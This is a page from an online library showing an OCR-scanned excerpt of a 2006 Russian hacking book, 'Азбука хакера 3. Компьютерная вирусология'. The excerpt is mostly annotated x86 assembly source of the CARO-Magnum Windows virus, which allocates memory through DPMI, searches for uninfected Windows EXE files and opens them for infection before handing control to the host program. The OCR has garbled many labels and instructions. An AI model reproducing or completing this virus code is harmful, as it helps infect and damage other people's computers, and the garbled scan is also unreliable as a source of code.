Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 101 102 103 104 105 106 < 107 > 108 109 110 111 112 113 .. 123 >> Следующая

¦include "caro.h"
Файл CARO.H:
int PASCAL WinMain(void);
И, наконец, файл CARO.ASM:
CARO-Magnum - вирус для Windows. Стартует как Windows ЕХЕ-файл. Он
демонстрирует использование в вирусе таких элементов, как DPMI и Wndows
API.
.386
ГЛАВА 9. Вирусы под Windows
Полезные константы:
DATABUF_SIZE EQU 4096 ;размер буфера для чтения/записи NEW_HDR_SIZE EQU
40Н ; размер нового ЕХЕ-заголовка VIRUSSIZE EQU OFFSET BJD.VIRUS - OFFSET
VIRUS размер вируса
EXTRN PostQuitMessage:FAR
EXTRN Jopen:FAR, _lread:FAR, _lwrite:FAR, JlseektFAR, Jdose:FAR
DGROUP GROUP .DATA,.STACK
CODE SEGMENT PARA USE16 CODE ASSUME CS:CODE, DS:_DATA
PUBUC VIRUS
Это основная подпрограмма вируса. Она находит пригодный для заражения
файл и инфицирует его, а затем передает контроль программе-жертве. Она
располагается в первом сегменте жертвы - сегменте, куда первоначально
передается контроль.
VIRUS PR ОС FAR pushf
push ax '.сохраняем все регистры
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
call CREATE.DS ;создаем сегмент данных call VIR.START ;находим стартовый
офсет вируса VIR.START: pop si
sub si.OFFSET VIR.START
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov [VSTARTJ.si call INU DS
cal HND_Rl? ;находим файл, пригодный для инфицирования jnz SHORT
GOTO_HOST ;z установлен, если файл найден call INFECT_FILE ;инфицируем
его, если найден GOTO.HOST:
call DESTROY.DS ;очищаем память
pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popf
VIRUS.DONE:
jmp HOST передаем контроль жертве
VIRUS ENDP
db *(C)'
Эта подпрограмма создает сегмент данных для вируса. Она (1) назначает
память для вируса, (2) создает сегмент данных для этой памяти, (3)
устанавливает ds и es, используя новый селектор, и (4) сохраняет индекс
для памяти, чтобы после завершения работы можно было освободить ее.
CREATE_DS:
mov ах, 501Н ;сначала назначаем блок памяти
xor bx,bx
mov сх,OFFSET DATAEND - OFFSET DATASTART
AAf\
ГЛАВА 9. Вирусы под Windows
int 31 h push si push di push bx push cx
mov ax,0 mov cx,1 int 31 h
mov bx,ax устанавливаем базовый адрес сегмента mov ах,7 pop dx pop cx int
31H
mov ax,8 ;устанавливаем предал сегмента
mov dx,OFFSET OATAEND - OFFSET OATASTART xor cx.cx int 31H
mov ax,9 устанавливаем права доступа сегмента данных mov
сх,000000001111001ОВ ;доступ на чтение/запись int 31Н
mov ds.bx устанавливаем селекторы mov es.bx
pop di pop si
mov WORD PTR [MEM_HANDLE],si сохраняем индекс здесь mov WORD PTR
[MEM_HANDLE+2],di ret
;c помощью DPMI ; помещаем индекс в стек
; помещаем линейный адрес в стек назначаем дескриптор для блока
CFILEJD1 DB ,*.ЕХЕ,0
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
CFILEJD2 DB '\DLL\0
CKNAME DB 'KERNEL'
Инициализация данных в сегменте данных:
INIT_DS:
mov si,OFFSET CRLEJD1 перемещаем строки констант в ds add si .[VSTART]
mov di, OFFSET FILEJD1 mov cx,OFFSET INIT_DS - OFFSET CFILEJD1 CDL:
mov al,cs:[si] inc si stosb loop CDL
ret ;все выполнено
Эта подпрограмма освобождает память, назначенную с помощью CREATEDS:
DESTROVLDS:
mov si,WORD PTR [MEM_HANDLE] ;получаем индекс mov di,WORD PTR
[MEM_HANDLE+2] mov ax,502H ;освобождаем блок памяти
int 31 h .используя DPMI
ret
Эта подпрограмма ищет файл для инфекции. Она находит ЕХЕ-файлы и
проверяет, являются ли они незаряженными и пригодными для инфицирования
Windows-файлами. Если подобный файл найден, подпрограмма возвращается с
установленным флагом z, с открытым файлом и его индексом в регистре Ьх.
Этот FIND FILE осматривает только текущую директорию.
FIND.FILE:
mov dx.OFFSET FILEJD1 xor cx.cx ;атрибуг файла
ГЛАВА 9. Вирусы под Windows
mov ah,4EH ;search first (ищем первый)
int 21 h
FIND_LOOP:
or al.al проверяем, поиск был удачным? jnz SHORT FIND_EX(T ;нет, выход со
сброшенным z call FILE_OK '.проверяем, можно ли инфицировать? jz SHORT
FIND_EXIT ;да, выходим с установленным г mov ah,4FH ; нет, поиск
следующего файла int 21 h jmp FIND_LOOP RND_EXFT: ;передаем контроль
назад основной подпрограмме ret
Эта подпрограмма определяет, годится ли файл для инфекции. Условия
годности таковы:
1) он должен быть Windows ЕХЕ-файлом;
2) в первоначальном сегменте кода должно быть место для него;
3) файл не должен быть инфицированным.
Если файл пригоден для инфекции, эта подпрограмма возвращается с
установленным z, открытым файлом и индексом в Ьх. Если файл непригоден,
подпрограмма возвращается со сброшенным z и закрывает файл. Кроме того,
проверяя файл, она устанавливает несколько важных переменных. Эти
переменные позже используются инфицирующей подпрограммой.
FILE_OK:
mov ah,2FH
int 21 h ; размещаем адрес текущего DTA в es:bx
push es
push ds
pop es
pop ds ;обмен между ds и es
mov si,bx -.помещает адрес в ds:dx
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
add si,30 .устанавливаем ds.dx, чтобы указать имя файла mov di,OFFSET
FILE_NAME mov cx,13
rep movsb ; вставляем имя файла в сегмент данных push es '.восстанавливаем
ds
pop ds
mov dx,OFFSET FILEJ4AME
caH F1LE_0PEN ; открываем файл
Предыдущая << 1 .. 101 102 103 104 105 106 < 107 > 108 109 110 111 112 113 .. 123 >> Следующая